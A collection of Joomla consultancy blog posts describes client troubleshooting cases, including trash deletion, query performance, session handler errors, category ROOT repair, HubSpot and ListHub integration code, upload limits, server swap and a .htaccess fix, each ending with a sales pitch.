Note: This post applies to Joomla 2.5 only. If you’re running Joomla 3.x and you can’t delete articles from Joomla’s trash, then please let us know in the comment section of this post as the below solution will not work for you.

Yes – we know – our regular readers might say that we have discussed this before. But back then, we only thought that the inability to delete items from Joomla’s trash was a user error, and not an application error. Obviously, we were wrong – which explains why we are writing another article on the same exact subject!

So, earlier this week, a new client with a Joomla 2.5 website called us and told us that he’s not able to empty Joomla’s trash, even after ensuring that he filtered for “Trashed” articles before trying to empty the trash. We checked his website and we were able to easily verify the claim. Interesting…

So, we dug deeper and we found out that the issue was caused by the fact that many of the trashed articles did not have an entry in the assets table. So, just opening and saving one of those trashed items allowed us to remove it completely from the trash (note that when you open and save an item, Joomla re-creates its entry in the assets table if that entry is not already there).

But the problem is that our client literally had 20K trashed articles that need to be deleted and the absolute majority of these articles didn’t have an entry in Joomla’s assets table. Of course, resolving this problem is as easy as running the below query on the #__content table:

DELETE FROM #__content WHERE `state`='-2';

(Where #__ is the database prefix of your Joomla website as defined in its configuration.php file).

But doing the above is not what our client wanted, since he didn’t want to call us to run the above query each time he wanted to empty his trash. Additionally, executing the above query will affect the data integrity in the assets table, since some content item entries will remain there, but with no actual articles to be associated with.

So, our next job was to find where Joomla is checking for the article’s entry in the assets table before deleting it… It took us some time to find where that check was done: it was in the table.php file (which no longer exists in Joomla 3.x) under the libraries/joomla/database folder. The check was done in the function delete of the aforementioned file, specifically in these lines:

if ($this->_trackAssets)
{
	// Get and the asset name.
	$this->$k = $pk;
	$name = $this->_getAssetName();
	$asset = JTable::getInstance('Asset');

	if ($asset->loadByName($name))
	{
		if (!$asset->delete())
		{
			$this->setError($asset->getError());
			return false;
		}
	}
	else
	{
		$this->setError($asset->getError());
		return false;
	}
}

So, in order to address the problem, we modified the above code to:

if ($this->_trackAssets)
{
	// Get and the asset name.
	$this->$k = $pk;
	$name = $this->_getAssetName();
	$asset = JTable::getInstance('Asset');

	if ($asset->loadByName($name))
	{
		if (!$asset->delete())
		{
			$this->setError($asset->getError());
		}
	}
	else
	{
		$this->setError($asset->getError());
	}
}

Note that the return false; statement was removed in the fixed code.

But isn’t that a core change?

Yes – it is. But we assume that if one is still running Joomla 2.5, then he should expect core modifications to address some bugs. If you’re not comfortable with doing the core change, then you can just set up a cron that will regularly delete articles with a state of -2. Note that if you would like to preserve the integrity of the assets table, then you you should also delete the associated entries in the assets table.

But why would a content item not have an entry in the assets table?

Typically, there are 2 reasons for this to happen:

  1. You are deleting the content item entries from the assets table in order to optimize the content creation process on your Joomla website as described here.

  2. One of your extensions is creating content items (articles) in the Joomla CMS without adding an associated entry in the assets table.

Now, if you only have a few articles that you can’t delete from the trash, then just open these articles, save them, and then try to delete them again. If you have thousands of articles that you can’t delete and you are running Joomla 2.5 (or 1.6, or 1.7), then try the core modification above; it should work for you! If you’re not comfortable with core modifications, then just contact us and we shall implement an alternative solution for you in very little time and for a very small fee!

Why It’s Important to Have Contiguous IDs in Joomla Tables

One of our newer clients called us yesterday morning and told us that his Joomla website was running very slow. So we checked his website and we immediately knew the cause of the problem, Mosets! If you are a regular reader of our blog, then you probably know that we don’t think highly of this extension – not only because it’s unoptimized by default, but because its code is super messy. But we’re not here to whine, we’re here to fix problems!

So we indexed the should-be-indexed-but-not fields in Mosets’ tables, and that changed things dramatically (in a positive way, of course). However, the website was still running slow, not as slow as before, but still, it was noticeably slow. So, again, we checked the slow query log, and we noticed that there are still many slow queries related to Mosets. Hmmm…

A closer examination of these queries revealed the cause of the slowness, which is the LIMIT command in MySQL. You see, that Mosets instance had over 300k rows in its main table, and when the LIMIT command was used on that table for higher ranges, the slowness occurred. The cause of this problem is the way MySQL handles the LIMIT command (it scans the table until it reaches the starting position of the LIMIT, which means that the higher that starting position is, the more time the query will take to execute).

So, how did we solve the problem?

Usually, when we have a performance bottleneck caused by the MySQL LIMIT command, we add a filter to the query that will start searching only the rows with IDs higher than the starting limit in the LIMIT command. In other words, we modify this query:

SELECT * FROM #__table LIMIT 50000, 30

to this one:

SELECT * FROM #__table WHERE id >= 50000 LIMIT 0, 30

The second query is much, much faster than the first one – but there is one major caveat: The IDs have to be contiguous (e.g. there shouldn’t be any gaps between the IDs of consecutive rows) and the first ID must be 1, because if this is not the case, then the optimized query will yield wrong results.

In order to solve this problem for our client we created a PHP script that made the IDs of the offending table contiguous, with the first ID starting at 1. Of course, the job wasn’t very simple there were other tables using these IDs, and because the content of the Joomla website was also using the old IDs. What made things even more complex was that the links too had to be redirected to the new links (since the old links contained the IDs). Needless to say, it was a very painful experience but the rewards were enormous: the website now runs at lightning fast speed (we did some other optimizations as well) and the client was exalted!

Now, Mosets was just an example, but any table in Joomla (whether a core table or a non-core one) can cause the same issues when using LIMIT commands on higher ranges. So, if you need help making the IDs of a specific table contiguous, then look no further! We have done it before and we know we can do it for you! Just contact us and rest assured that we won’t charge you much and that you will be a very, very happy client!

How to Display the Time for the Last Logged In Users

A client called us earlier this week and told us that when he logs in to his Joomla website and he checks which users are logged in to the website, he only sees the login date. Given that all his users login nearly every day, just seeing the date wasn’t enough for him. He also wanted to see the time at which these users logged in. He said that previous versions of Joomla displayed the date and the time, but Joomla 3.x did not!

In all fairness, we didn’t notice this issue until the client told us about it. So, we logged in to the backend of his Joomla website and then went to the Extensions -> Module Manager, and then selected Administrator from the left dropdown (directly under Filter), and then searched for the module Logged-in Users (this module is the one responsible for displaying this information). To our disappointment, the module didn’t have a setting to show the time, but rather it only allowed us to change 2 things: 1) how many logged in users can be displayed at once, and 2) whether we wanted to display the username or the name of the last logged in users.

But, at itoctopus, we always find a solution to everything. So, in order to accommodate our client’s request, we opened the file default.php located under the administrator/modules/mod_logged/tmpl and we searched for this line:

<i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, JText::_('DATE_FORMAT_LC4')); ?>

(Note: The above line could also be: <i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, 'Y-m-d'); ?> in previous versions of Joomla 3).

We then changed it to the following line:

<i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, 'Y-m-d H:i:s'); ?>

We checked the website and, unsurprisingly, it was now displaying both the date and the time (to the second!). The problem is solved!

But, are there any caveats?

Well, unfortunately, there is this one small caveat. See, the above is a core modification, which means that if you update your Joomla website, the module may be reverted back to what it was (e.g. displaying only the date, and not the time). In order to avoid that, you will need to override the layout by copying the aforementioned default.php from the administrator/modules/mod_logged/tmpl folder to the administrator/templates/[your-joomla-admin-template/html/mod_logged/ folder and modifying it there. This will ensure that any updates to your Joomla website will not overwrite your changes.

If you want to display the date and the time of the last logged in users on the homescreen of the backend of your Joomla website, then all you need to is to follow our super simple guide above. If you think it’s a bit on the technical side and don’t want to do it yourself, then go ahead and contact us. Our rates are super affordable, our work is super professional, and all of us are super duper friendly!

How We Fixed a Very Weird Blank Page Problem on a Joomla Website

A large company (that we have worked with before) emailed on us on Friday morning and told us that they were seeing a blank page on their homepage. When we visited the website we noticed that the page was almost blank. In fact, there was some content on the website. But the main component and all the modules were not showing. Hmmm…

The backend was working and so we logged in and we set the error reporting to Maximum in the global configuration settings. We then cleared the cache and checked the website but the problem was still there. Yet another hmmm…

So we followed our guide in order to ensure that all the errors were displayed, but still, the same blank page appeared. Again, the page wasn’t entirely blank, a JavaScript widget appeared on the bottom right (that JavaScript widget was actually a plugin).

We started suspecting the plugins – and so we switched the template to another template in order to see what happens, and what happened was that the website worked, and this is a definitive sign that the problem is not caused by a plugin (since the same enabled plugins run on all templates).

After switching back to the original template, we realized that we were left with 3 suspects: The component the home menu item points to, one of the modules, or the template. The component that was used on the homepage was a core Joomla component, which is the com_content component (the home menu item was pointing to the “Featured Articles” view). Additionally, none of the other pages were working (and some of the other pages were using different components) so we dismissed the component as a potential suspect. So, we moved on to the next suspect: the modules. The modules were actually quite easy to rule out, as the only thing that we needed to do was to run the following query in phpMyAdmin after selecting the database that powers the Joomla website:

UPDATE `#__modules` SET `published` = 4 WHERE `published` = 1 AND `client_id` = 0;

As you can see in the above query, we set all the published field of all the enabled modules to 4 (we didn’t want to set it to zero because if we did that, then we will re-enable the intentionally unpublished modules once we re-enable the modules that we just unpublished).

We then visited the website and it still didn’t work despite the fact that we disabled all the modules (we re-enabled the modules that we disabled using the following query: UPDATE `#__modules` SET `published` = 1 WHERE `published` = 4 AND `client_id` = 0; ). This meant that the problem was definitely the template. A closer look at the template revealed that it was a Helix template with some corrupt settings. So we asked the system administrator to provide us with a previous backup copy of the database, and then we copied the template’s settings from the #__template_styles table from the backup database to the #__template_styles table on the new database. That fixed the problem!

But why did the problem happen in the first place?

We don’t know what caused the data corruption to happen. We just know that it happened. We do suspect, however, that it was caused by a bug that is triggered when saving the settings to the template. Unfortunately, we were not commissioned to investigate further on the cause of the issue so we can’t give a definitive answer.

If you’re having the same problem on your website, then try following the above process in order to narrow down the location of the problem. If you think that our process is not that simple, or if you think it’s too technical, or if you just think that you need help, then please, contact us! We are here to help. Our rates are affordable, our work is neat and professional, and you can always, always rely on us!

Joomla Administrator Login Redirects Back to Login Page Without Errors

Yesterday, we had a new customer, from Denmark, with a very nice Joomla website, asking us to fix one of the most annoying Joomla problems. The problem was that whenever he tried to login from the backend, he was getting redirected back to the login page without any error. He was confident that the username and the password were correct and he was very troubled by the fact that he wasn’t able to login to his own website.

When the backend login redirects back to the login page with no errors, then this means that the problem is not with the credentials but somewhere else. Luckily, we did have the same exact symptoms before on another Joomla website and so we thought we’d be able to fix the issue instantly. But we were wrong…

The problem had nothing to do with a disabled plugin or with the session.save_path. The problem had to do with something else. So, what we did was that we set the $error_reporting variable to “maximum” in the configuration.php file (which is located under the root directory of the Joomla website) and we tried again. Of course, it still didn’t work, but this time we saw the following messages:

Notice: session_start(): Server localhost (tcp 20046) failed with: Connection refused (111) in /home/[user]/public_html/libraries/joomla/session/session.php on line 665

Warning: session_start(): Cannot send session cache limiter – headers already sent (output started at /home/[user]/public_html/libraries/joomla/session/session.php:665) in /home/[user]/public_html/libraries/joomla/session/session.php on line 665

Hmmm! It seems that for some reason, Joomla was trying to store the sessions in an alternative location (usually, Joomla stores the sessions in the database). So we took a closer look at the configuration.php file and we noticed the following line:

public $session_handler = 'memcache';

Aha! Joomla was trying to use memcache to store the sessions, but it was unable to (seemingly because of connection issues, or maybe because memcache doesn’t even exist on that server).

So, in order to solve the problem, we just switched the session handler to database, by changing the above line (again, in the configuration.php file) to:

public $session_handler = 'database';

And that fixed the problem!

But, what caused the session handler to switch to memcache?

We’re not 100% sure, but we suspect it was a user error (e.g. the Joomla super user mistakenly changed it to memcache).

So, if you’re trying to login to your website but you keep getting redirected to the login page (with no errors being displayed), then a good start would be to check the $session_handler variable in your configuration file. If that doesn’t help, then check the #__extensions table (in the database powering your Joomla website) and make sure that the appropriate plugins are enabled (mainly the plg_user_joomla). If that still doesn’t fix the problem, then we’re here to help. All you need to do is to contact us and we’ll fix the problem for you as soon as we can and for a really, really competitive fee!

“No Parent” Is Missing from the “Parent” Dropdown When Trying to Add a New Category in Joomla

A new client of ours called us today and told us that he’s facing a major challenge after migrating his Joomla website from 1.5.26 to 3.4.1. He told us that the No Parent option seems to be missing from the Parent dropdown in Edit Category mode, which meant that whenever he tries to add a new category anywhere on the Joomla website, that category must be the child of another category. In other words, he can’t have new top level categories on his website.

Of course, the first thing that we tried to do was to rebuild the categories by clicking on the Rebuild button in the Category Manager page. But, instead of fixing the problem, it threw the following error (by the way, the error was in green [which typically means success], instead of red – weird):

Failed rebuilding Categories tree data.

Hmmm! That error meant that there was corruption at the database level in the #__categories table. So, we logged in to phpMyAdmin, selected the database that powers the website, and checked the table #__categories. Unsurprisingly, we noticed that the ROOT item is missing.

So, what is the ROOT item?

The ROOT item (or the ROOT row, or the ROOT entry) is a row that must exist in all the tables where parenting is available (e.g. an item can be the child of another item – there are two core tables that must have a ROOT entry: the #__assets table and the #__categories table). That row must have the following characteristics:

  • It must have an ID of 1.

  • Its parent must be 0 (e.g. it doesn’t have any parent).

  • Its lft (left) value is 0, and its rgt (right) value is the maximum ID in the table + 1.

So, in order to fix the problem, we executed the following query to re-create the ROOT item:

INSERT INTO `#__categories` (`id`, `asset_id`, `parent_id`, `lft`, `rgt`, `level`, `path`, `extension`, `title`, `alias`, `note`, `description`, `published`, `checked_out`, `checked_out_time`, `access`, `params`, `metadesc`, `metakey`, `metadata`, `created_user_id`, `created_time`, `modified_user_id`, `modified_time`, `hits`, `language`, `version`) VALUES
(1, 0, 0, 0, 10000, 0, '', 'system', 'ROOT', 'ROOT', '', '', 1, 0, '0000-00-00 00:00:00', 1, '{}', '', '', '{}', 42, '2011-01-01 00:00:01', 0, '0000-00-00 00:00:00', 0, '*', 1);

The maximum ID, which is in bold red in the above query, is the result returned by executing the following query:

SELECT MAX(id) + 1 FROM `#__categories` WHERE 1

After doing the above, we tried clicking on the Rebuild button again, and, to our joy, we saw the following (success) message:

Categories tree data successfully rebuilt.

Yey!

We then tried to add a new category and, unsurprisingly, the No Parent option was available once again! The problem is officially solved!

But, what caused the problem in the first place?

We think that the problem was caused by the migration tool that our client used to migrate the data. We don’t want to disclose the name of that tool, but that’s one of the reasons why we have our own scripts for migrating Joomla websites.

In closing, if you have the same problem on your Joomla website, then check if the ROOT entry exists in the #__categories table. If it doesn’t, then you should re-add it using the above query. If it does, then the problem might be elsewhere – in that case, go ahead and contact us and we’ll try our absolute best to solve the problem for you quickly and cheaply!

Subqueries: A Major Cause for Performance Issues on a Joomla Website

We were commissioned yesterday to optimize a large Joomla website. That website was using FlexiContent as its content engine. In case you don’t know, FlexiContent extends Joomla’s core content management system, and does not replace it (unlike K2). The main reason why our client was using FlexiContent was that it supports multiple categories (per article). We aren’t hugely fond of that extension…

In any case, the website was super slow. So, as usual, we checked the slow query log and we noticed that the following query was taking some insanely long time to execute:

SELECT * from `#__flexicontent_content_hits` WHERE content_id < (SELECT max(content_id) - 200 FROM `#__flexicontent_content_hits`);

As you can see, the above query is technically a query within a query (which is called a subquery). While this works, it is super inefficient since MySQL is not the best RDBMS when it comes to subqueries (other RDBMS’s fair much better when using subqueries).

But why is MySQL slow for subqueries?

MySQL executes all its queries outside-in (that’s the opposite of inside-out, in case you’re wondering, but you’re probably not). In other words, MySQL runs the outside query first, and then, it will execute the inside query for every single row returned from the outside query, which means that if the #__flexicontent_content_hits table has 4,000,000 rows, then this will technically mean that the above query is the equivalent of 4 million queries. Not good at all! In fact, we think that the client was lucky that his website still worked (albeit very slowly) considering the number of rows he had in that table.

So, what did we do to fix the problem?

In order to fix the problem, we split the query into two queries (the following is a pseudocode):

FIRST_QUERY_RESULTS = SELECT max(content_id) - 200 FROM `#__flexicontent_content_hits`;
SECOND_QUERY_RESULTS = SELECT * from `#__flexicontent_content_hits` WHERE content_id < FIRST_QUERY_RESULTS;

The above made a huge difference on the server’s load, and, ultimately, on the website’s speed. This is because the above method meant that the second query consisted only of one query, and not of n queries, where n is the number of rows in the `#__flexicontent_content_hits` table.

So, we have a message to all Joomla developers out there (and to all LAMP developers): Do not use subqueries, they create horrible performance issues and the alternative is very, very simple – just split your query into two and that’s it.

Now, if your website suffers from performance issues (that may or may not be related to subqueries), then just contact us and you can rest assured that your website will become quicker than ever with us. Keep in mind that both our very affordable fees and our love apply!

How to Display Page Titles from HubSpot on Your Joomla Website

This weekend we had a very interesting task. We were told, by one of our top clients, to display a list of all their Pages from HubSpot, along with a link to them. As usual, we obliged, and we were glad that they gave us this task, because it was something that we haven’t done before.

The first thing that we needed to do was to get used to and understand HubSpot’s API – which we first thought would only work after creating a HubSpot application – but we later discovered that this wasn’t needed. All that we needed to do was the following:

  • Create an API key on HubSpot which can be used to authenticate the API requests. A HubSpot API key can be acquired from this link (note that you must be logged in to HubSpot before visiting that link).

  • Grab all the pages from HubSpot using the COS Page Publishing API.

  • Filter the pages (according to client-specific requirements that we won’t mention here).

  • Display these pages in a module on the website’s homepage.

Of course, the above steps are definitely not exhaustive, but they are the main steps.

So, what was the code that we used to grab the data?

We grabbed the data using the following PHP function (which we placed in a newly created module called mod_hubspot):

function getHubSpotPages($apiKey){
	$hubSpotJson = file_get_contents('http://api.hubapi.com/content/api/v2/pages?hapikey='.$apiKey);
	$data = json_decode($hubSpotJson,true);
	$hubSpotList = array();
	if (isset($data['objects'])){
		$data = $data['objects'];
		for ($i =0; $i < count($data); $i++){
			$item = new stdClass();
			$hubSpotList[$i]= $item;
			$hubSpotList[$i]->link = $data[$i]['published_url'];
			$hubSpotList[$i]->title = $data[$i]['name'];
		}
	}
	return $hubSpotList;
}

The above function returned an array of HubSpot pages, where each page consists of a title and a link. Of course, we could have retrieved more information, but that’s what our client wanted. Note that the $apiKey parameter should be the HubSpot API Key created in the first step above.

What was really impressive for us is that the above function worked quickly, very quickly. It didn’t delay the page loading at all, but we decided anyway to cache the module’s results for a whole day – just in case (we don’t like surprises that are caused by a sudden under-performance of a 3rd party application).

If you want to grab data from HubSpot and display it on your Joomla website, then the above should be very helpful. If you need more help, then we are ready to help! Just contact us and let us know your requirements, and we will surely implement them for you quickly and for a very affordable fee.

Integrating ListHub with Joomla

Lately, we spent a lot of time working on a project integrating ListHub, the famous MLS platform, on an existing Joomla website. The project consisted of finding “special” listings (those listings with special criteria) within ListHub’s listings and then displaying them on the site. Despite the fact that it was our third project that consisted of integrating ListHub with Joomla so far this year, we still had quite a few challenges particularly when it came to grabbing the data from ListHub and then parsing that data.

Before delving into the challenges, let us briefly explain what we did in the project:

  • We created a Joomla component called com_realestate (we were going to call it com_listhub, but we then changed our minds because it was possible that our client would then switch to another MLS provider).

  • We created a hash-protected view that was responsible for grabbing the data (e.g. downloading the XML file from ListHub’s site).

  • We then created another view, which was also hash-protected, that was responsible for parsing the XML file downloaded in the previous step and then storing the selected entries (and information) in the database. (Note that these two views can be merged into one view – but we chose to separate them into two).

  • We created a paginated view that displayed a listing of all the entries that were stored in the database (with sorting options).

  • We created a search plugin that scanned all the entries for the searched text, eventually feeding the search results to the view created in the previous step.

  • We then created a search module which made use of the search plugin above.

  • Finally, we created a view that listed the details of a single real estate entry in the database.

Of course, the project was much, much more than the above but the above information is essentially what we can share with the public…

So, as you can see, the project is pretty much a straightforward MVC Joomla extension, with the exception of the first couple of steps (which are always a challenge). So, in order to make things easier for those who would like to do a similar project, we decided to share the main code for the first two steps!

In order to grab the data the XML file from ListHub, we used the following code (note that we are using cURL, so make sure that you have the cURL PHP module installed on your environment):

$jinput = JFactory::getApplication()->input;
$hash = $jinput->get('hash', '');
if ($hash != '[the_secret_hash]')
	die('Unauthorized...');

error_reporting(E_ALL);
set_time_limit(0);
define('XMLNS_COMMON', 'http://rets.org/xsd/RETSCommons');

//The following 5 variables are typically stored in the extension's settings and not hardcoded into the code.
$url = 'https://feeds.listhub.com/pickup/[ourclient]/[ourclient].xml.gz';
$username = '[ListHub username]';
$password = '[ListHub password]';
$filePath = JPATH_SITE.'/xmldata/listhub.xml.gz';
$xmlFilePath = str_replace('.gz', '', $filePath); 

//Get the gzipped file from ListHub
$downloadedFile = fopen ($filePath, 'w+');
$curlHandler = curl_init();
curl_setopt($curlHandler, CURLOPT_URL, $url);
curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curlHandler, CURLOPT_USERPWD, "$username:$password");
curl_setopt($curlHandler, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curlHandler, CURLOPT_FILE, $downloadedFile);
$result = curl_exec($curlHandler);
$info = curl_getinfo($curlHandler);
curl_close($curlHandler);
fclose($downloadedFile);

//Now that we have the gzipped file, we will need to extract it.
$bufferSize = 4096;
$gzippedFile = gzopen($filePath, 'rb');
$xmlDownloadFile = fopen($xmlFilePath, 'wb');
while(!gzeof($gzippedFile)) {
  fwrite($xmlDownloadFile, gzread($gzippedFile, $bufferSize));
}
fclose($xmlDownloadFile);
gzclose($gzippedFile);

The above code will download the zipped XML file (from ListHub’s server) containing all the data that ListHub has made available for a particular account. Once the zipped XML file is downloaded, the last part of the code will extract it and we will have a pure, unzipped XML file containing all the listings.

Now that we have downloaded and unzipped the XML file, then we need to parse it. Typically, parsing an XML file is not that hard, but if you want some buried values from within a complex XML file, then it’ll be hard enough.

Here’s how we parsed the XML file:

//Get the XML data from the XML file
$xmlListHubListings=simplexml_load_file($xmlFilePath) or die("Error: Cannot create object");
$allListHubListings = $xmlListHubListings->Listing;

//Loop through all the XML listings
for ($i = 0; $i < count($allListHubListings); $i++){
	$singleListing = $allListHubListings[$i];
	$listingNumber = addslashes($singleListing->MlsNumber);
	$listPrice = addslashes($singleListing->ListPrice);
	$listingKey = addslashes($singleListing->ListingKey);
	$listingUrl = addslashes($singleListing->ListingURL);
	$bedrooms =  addslashes($singleListing->Bedrooms);
	$bathrooms =  addslashes($singleListing->Bathrooms);
	if (isset($singleListing->Photos) && isset($singleListing->Photos->Photo)){
		$imageUrl = addslashes($singleListing->Photos->Photo[0]->MediaURL);
		$numberPhotos = count($singleListing->Photos->Photo);
	}
	else{
		$imageUrl = '';
		$numberPhotos = 0;
	}
	$address = $singleListing->Address->children(XMLNS_COMMON);
	$addressStreet = addslashes($address->FullStreetAddress);
	$addressCity = addslashes($address->City);
	$addressState = addslashes($address->StateOrProvince);
	$addressPostalCode = addslashes($address->PostalCode);
	$longitude = '';
	$latitude = '';
	if (isset($singleListing->Location)){
		$longitude = addslashes($singleListing->Location->Longitude);
		$latitude =  addslashes($singleListing->Location->Latitude);
	}
}

The above code will loop through the extracted XML file that was created in the previous step. It will loop through all the listings and retrieve the main values in each listing (of course, there are many more values that can be retrieved from the XML file, so it's really up to your requirements). An important note here is that ListHub requires a minimum amount of information to be displayed on the site (for example, they require that you include the name of the Real Estate agent/company, which is not retrieved in the above code).

By the way, if you want to refresh the ListHub data on your website daily, then you will need to include a call to the above views in your cron. That's how we do it anyway... Of course, you can hire a person who will refresh those views every day, but that would be completely inefficient! (OK - that was a joke...)

Now, in this post, we have tried to make things much, much easier for those trying to integrate ListHub with Joomla (we honestly think that the above code, with just one little exception, can be used in any other CMS, including WordPress and Drupal). We hope we helped! In case you need more help or in case the above code did not work for you for one reason or the other, then we're here for you! Just contact us and we'll integrate ListHub for you on your Joomla website quickly, professionally, and for a very affordable fee!

How to Change K2’s Maximum Upload Size

We can never praise K2 enough – we think it handles content even better than Joomla (we did write a post about its advantages). It’s not perfect though, and it does, occasionally, suffer from some inconsistencies.

For example, if you’re editing an item in K2, and you scroll down to the bottom of the editor, and then you click on the Image button, then you’ll notice that the maximum upload size of the image is the same as that of Joomla (which is set at the Media Manager level).

However, if you click on the Image tab on the top, you will notice that the Max upload size is set to the maximum upload limit defined in your global php.ini (for many servers, that maximum upload limit is typically set to 2 MB). If you want proof about this, then open the file default.php located under the administrator/components/com_k2/views/item/tmpl folder and check line 242:

<i>(<?php echo JText::_('K2_MAX_UPLOAD_SIZE'); ?>: <?php echo ini_get('upload_max_filesize'); ?>)</i>

As you can see from the above line, K2 is setting the maximum upload size to the upload_max_filesize configuration setting in the global php.ini.

The above also applies to the maximum upload limit for media files (under the Media tab).

So, how to address this problem?

Addressing this problem is easy if you are on a VPS or on a dedicated server. All you need to do is to create a file called .user.ini with the following content…

upload_max_filesize = "256M"
post_max_size = "256M"

…and then upload it to the root directory of your website.

Once this is done, K2’s maximum upload will increase to a whopping 256 Megabytes! (If you want more than 256 Megabytes, then all you need to is to change the number in the .user.ini file from 256 to a higher number of your choice). If you are on a shared hosting environment, then some companies won’t allow the override of certain PHP settings through .user.ini files – in this case it is a good idea to contact your host and ask them to increase the limit for your website (some hosts will acquiesce to such requests).

We hope that in future iterations, K2 will address the problem and the maximum upload limit (across the board) will be the same as Joomla’s. Meanwhile, you can rely on the solution above to fix the problem (the best thing about it is that you won’t have to modify a single K2 file!).

If you need help implementing the above solution, then all you need to do is to contact us. Our price is right, our work is professional and quick, and we are the friendliest programmers on the Milky Way.

A Script to Evenly Distribute Files Under the Joomla “images” Directory

Many Joomla administrators make the mistake by uploading all their images to the root directory of the images folder. A mistake, as they all soon discover, that can cause the media manager to crash.

At itoctopus, we have come up with a solution to this problem, and we call it: EDIJ (short for Evenly Distributing Images in Joomla – OK, that was a joke!). No seriously, we did come up with a solution a long time ago (and we use it all the time), and the solution is to evenly distribute images under the images directory based on the image’s modification date. Here’s how we do it:

  • We loop through all the images under the root directory of the images folder.

  • We get the last modification date of each image (the best you can get with standard Linux is the last modification date).

  • We extract the year and the month from the modification date of that image.

  • We calculate the new path of the image (which will be something like images/[yyyy]-images/[mm]).

  • We then move (using the PHP function rename) the image from the old location to the new location.

If you want to see it in action, then you can find the script here! Yes – we’re that generous! But, before using it, please keep in mind the following:

  • We don’t claim any responsibility, explicit or implicit, resulting from the use of the script. You use the script at your own risk!

  • This script modifies the filesystem and the database – so you should make sure you backup your Joomla website before running it.

  • You will need to modify the path at the end of the script to correspond with the current physical path of your Joomla website.

  • You will need to ensure that Apache has full permissions over the images directory.

  • Ideally, you should only run the script during off hours or on a staging version of your website.

  • You will need to extract the script to the root directory of your Joomla website, and then run it by pointing your browser to: http://www.yourjoomlawebsite.com/evenlyDistributeImagesJoomla.php.

  • The script will work for Joomla articles and K2 items (by default, it will work for Joomla articles, you will need to point the main function to the K2 function for it to work for K2).

  • The script will take some time, so be patient.

We understand that for non-technical persons, such a script might be a challenge. If that’s the case, then just contact us. We’ll make sure to handle this in as little time as possible and for a very, very affordable fee!

Your Joomla Website Is Crashing After a Dramatic Load Spike? Check the Swap!

Before we begin, let us explain what swap is…

Swap, in server terms, is hard disk space reserved by the system to be used as a backup memory in case the RAM is fully used. Once a server starts using swap memory, then you will notice some degradation in the performance because the RAM is always much, much faster than a hard disk. SSD hard disks fare much better when the system starts using the swap.

A very large racing website (built on Joomla) experienced extremely heavy load in the past weekend. The website eventually crashed. Granted – the website was getting a record number of visitors because of a huge racing event, but the website was highly optimized and it was a bit weird that it crashed. The site’s administrator called us for help, and, of course, we obliged…

When a large website crashes, we take the following steps:

  • We ssh to the site’s server as root.

  • We stop MySQL and then Apache by executing the following commands in the shell:

    /etc/init.d/mysql stop
    /etc/init.d/apache2 stop

  • We add the following to the very beginning of the .htaccess file (which is located under the root directory of the website):

    deny from all
    allow from <Our IP Address>

  • We restart Apache and MySQL using the following commands:

    /etc/init.d/apache2 start
    /etc/init.d/mysql start

Doing the above will ensure 2 things: 1) We have exclusive access to the website, and 2) all the load associated with the website is no more.

So, after doing that, we examined the slow query log and we discovered that there was nothing of importance there. The slow query log was very slim (it was a few hundred kilobytes and it was gathering slow queries for weeks…).

We then checked the disk space available on the hard disk (maybe we ran out of disk space) using the following shell command:

df -m

To our disappointment, the server had more than ample disk space in all its partitions! So that wasn’t a disk space problem.

We then checked the memory allocated to the server to see if there’s something wrong there, using the following command:

free -g

Here’s what we got:

             total       used       free
Mem:            16         12        4
Swap:           4          4         0

Aha! The system ran out of swap! Not only that, for some reason, the swap allocated to the system was sort of a locked! Which meant that the Joomla website wasn’t able to use it when the load gets serious! So what we did was that we released the swap by turning it off, and then we turned it on again by issuing the following 2 shell commands:

swapoff -a
swapon -a

We then removed the deny from all line added to the .htaccess to allow everyone to access the website. Once we did that, we monitored the load and it was OK, but we knew that it’s only a matter of time before the same problem happens again… Why?

Because of 2 things:

  1. If the system runs out of swap, it means that it ran out first of memory, which means that the memory is no longer enough for that large website (the website gets about 2 million visits every month and it is in the top 10k most visited websites in America).

  2. Even if we accept the fact that the system has to touch the swap then and now, the swap allocated is too little. In fact, we think that the amount of swap on a server should be the same as the RAM. So, if you have 16 GB of RAM on your server, you should have 16 GB of swap.

So, how did we solve the problem for the long term?

We solved the problem pretty quickly and easily: 1) We asked the host to upgrade the RAM on the server to 32 GB, and 2) We asked the host to increase the amount of swap to 32 GB. Doing that ensured long term stability of the website.

If your website crashes often immediately after a huge load, then check the swap on your server. If you see that your swap is full, then most likely your server’s memory is no longer enough and you need to increase it (and also increase the swap). If you think this whole thing is not exactly in your court, then throw it in ours, and let us handle the problem. Just contact us and let us prove to you how fast, efficient, professional, and affordable our work is!

“The requested URL index.php was not found on this server.” Error on Joomla

A new international client called us very early in the morning today and told us that he was seeing the following error when trying to access his website:

“The requested URL index.php was not found on this server.”

We immediately checked the problem and we noticed that the error was on every page – so it meant one of the following:

  • The index.php was mistakenly (or maliciously) deleted.

  • The index.php file cannot be read by the webserver because of permission issues (for example, the permissions on the index.php file are “000″ [yes, we've seen this happen before, but the displayed error was different though]).

  • There is a problem with the .htaccess file.

Naturally, the first thing that we did was that we ssh’d to the server and checked the index.php file. Everything seemed OK: the file was there, its permissions were correct (they were set to “444″), and the content of the (core) file hasn’t been modified.

So we then checked the .htaccess file, and we didn’t find anything wrong with it. It seemed like the default .htacess with no modifications whatsoever.

Hmmm…

Our next approach was to check whether the index.php file is being loaded and so we added the following line to its beginning (immediately after the opening PHP tag):

die('Under maintenance...');

We then tried to browse to the website but we got the same error. This of course means that Apache is not even loading (or trying to load) the index.php file.

So we started thinking, what could have changed from a few hours ago (the client told us that the problem happened a couple of hours before calling us)? To answer our question, we ran the following command in the shell:

find /home/[user]/public_html -path '/home/[user]/public_html/cache/*' -prune -o -mtime -1 -ls

(The above command will list all the files that were changed in the past 24 hours)

And we got the following:

1573337 152 -rw-r–r– 1 [user] [user] 2859 Apr 30 07:22 /home/[user]/public_html/.htaccess

Aha! So the .htaccess file was modified! Naturally, we took another, thorougher, look at the .htaccess file and we noticed that this line:

# RewriteBase /

has been changed to this:

RewriteBase /

(The sharp is missing from the second line, which means that the line was uncommented.)

And so we re-added the sharp sign (or hash, or the number sign, or whatever people are calling it these days), and then we checked the website, and guess what? It was working! Woohoo! The client later told us that he did make this modification to address another problem, but he didn’t think that it might cause this kind of destruction!

